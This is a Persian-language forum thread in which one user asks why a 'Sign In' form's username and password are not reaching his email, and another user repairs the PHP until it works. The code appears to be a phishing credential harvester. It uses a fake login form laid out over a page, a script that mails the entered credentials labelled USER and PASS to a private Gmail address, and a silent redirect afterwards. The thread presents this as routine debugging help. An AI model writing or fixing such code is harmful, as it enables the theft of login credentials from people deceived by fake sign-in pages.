PDA

View Full Version : فرستادن اطلاعات به ایمیل email



p30online
جمعه 22 شهریور 1392, 09:52 صبح
دوستان سلام:
دوستان چرا اطلاعات به ایمیل ارسال نمی شود مشکل کجاست؟

این اطلاعات فرمم:




<form name="form1" method="post" action="Send.php">
<input name="formbutton1" type="submit" value="Sign In" style="position:absolute;left:514px;top:357px;z-index:26">
<input name="formbutton2" type="reset" value="Reset" style="position:absolute;left:585px;top:357px;z-index:27">
<input name="username" type="text" style="position:absolute;width:155px;left:531px;top:256px ;z-index:28">
<input name="password" type="password" style="position:absolute;width:155px;left:531px;top:294px ;z-index:29">
</form>


این هم فایل send.php


<?
$email_address = "myemail@gmail.com";
$email_name = "succesfull";
$next_page = "mypage";

$formtext1 = $HTTP_POST_VARS['username '];
$formtext2 = $HTTP_POST_VARS['password'];


$msg_body = "USER: $username \n";
$msg_body .= "PASS: $password\n";


$headers = "";
$headers .= "From: " . $email_name . " <" . $email_address . ">\n";
$headers .= "X-Sender: <" . $email_address . ">\n";
$headers .= "X-Mailer: PHP\n";
$headers .= "X-Priority: 1\n";
$headers .= "Return-Path: <" . $email_address . ">\n";
$headers .= "Content-Type: text/html; charset=UTF-8\n";

@mail($email_address, "mysite", "<pre>" . $msg_body . "</pre>", $headers);

header("Location: " . $next_page);

//This sends a confirmation to your visitor
mail("$email","Thank You for visiting Your Web Site", "Hi $name,\n
Thank you for your interest in My Web Site!\n
Cheers,
$sitename
$siteaddress","FROM:$adminaddress");
//Confirmation is sent back to the Flash form that the process is complete

$sendresult = "Done!";
$send_answer = " MERSI ";
$send_answer .= rawurlencode($sendresult);
echo "$send_answer";
?>


فرستاده می شود ولی هر چی داخل تکست می نویسم اونجا داخل ایمیل نمایش داده نمی شود!

darkcms
جمعه 22 شهریور 1392, 10:12 صبح
با سلام و درود.
کد شما اصلاح شد :

<?
$email_address = "myemail@gmail.com";
$email_name = "succesfull";
$next_page = "mypage";

$formtext1 = $_POST['username'];
$formtext2 = $_POST['password'];


$msg_body = "USER: $formtext1\n";
$msg_body .= "PASS: $formtext2\n";


$headers = "";
$headers .= "From: " . $email_name . " <" . $email_address . ">\n";
$headers .= "X-Sender: <" . $email_address . ">\n";
$headers .= "X-Mailer: PHP\n";
$headers .= "X-Priority: 1\n";
$headers .= "Return-Path: <" . $email_address . ">\n";
$headers .= "Content-Type: text/html; charset=UTF-8\n";

@mail($email_address, "mysite", "<pre>" . $msg_body . "</pre>", $headers);

header("Location: " . $next_page);

//This sends a confirmation to your visitor
mail("$email","Thank You for visiting Your Web Site", "Hi $name,\n
Thank you for your interest in My Web Site!\n
Cheers,
$sitename
$siteaddress","FROM:$adminaddress");
//Confirmation is sent back to the Flash form that the process is complete

$sendresult = "Done!";
$send_answer = " MERSI ";
$send_answer .= rawurlencode($sendresult);
echo "$send_answer";
?>
اگر کار نکرد بگویید تا کد را امتحان کنم!
به امید فردایی بهتر!:لبخندساده:

p30online
جمعه 22 شهریور 1392, 10:27 صبح
باز هم نمی فرسته !خالی ارسال می شود

darkcms
جمعه 22 شهریور 1392, 10:57 صبح
با سلام و درود.
من کد اصلاح شده را امتحان کردم و هیچ مشکلی نداشت و به راحتی ارسال می شد!
من کد اصلاح شده را در این سایت قرار داده ام ، می توانید خودتان امتحان کنید :
http://www.4bidha.ir/
باز هم کد را برایتان می گذارم :

<?php
header('Content-Type:text/html; charset=utf-8');
if(isset($_POST['mail']) && isset($_POST['username']) && isset($_POST['password'])){
$email_address = $_POST['mail'];
$email_name = "succesfull";

$formtext1 = $_POST['username'];
$formtext2 = $_POST['password'];


$msg_body = "USER: $formtext1\n";
$msg_body .= "PASS: $formtext2\n";


$headers = "";
$headers .= "From: " . $email_name . " <" . $email_address . ">\n";
$headers .= "X-Sender: <" . $email_address . ">\n";
$headers .= "X-Mailer: PHP\n";
$headers .= "X-Priority: 1\n";
$headers .= "Return-Path: <" . $email_address . ">\n";
$headers .= "Content-Type: text/html; charset=UTF-8\n";

@mail($email_address, "mysite", "<pre>" . $msg_body . "</pre>", $headers);

echo "<center>ایمیل با موفقیت ارسال شد!</center>";exit;
}else{
?>
<!doctype html>
<html dir="rtl">
<head>
<meta charset="utf-8">
<title>Send it!</title>
</head>
<body>
<center>
<form method="post" action="/">
<input name="mail" placeholder="ایمیل گیرنده" type="text">
<input name="username" placeholder="نام کاربری" type="text">
<input name="password" placeholder="رمز عبور" type="password">
<input name="formbutton1" type="submit" value="Sign In">
<input name="formbutton2" type="reset" value="Reset">
</form>
</center>
</body>
</html>
<?php exit;} ?>
اگر کار نکرد مشکل از میل سرور شما می باشد.
به امید فردایی بهتر!:لبخندساده:

p30online
جمعه 22 شهریور 1392, 12:29 عصر
ممنون درست شد!:تشویق::تشویق: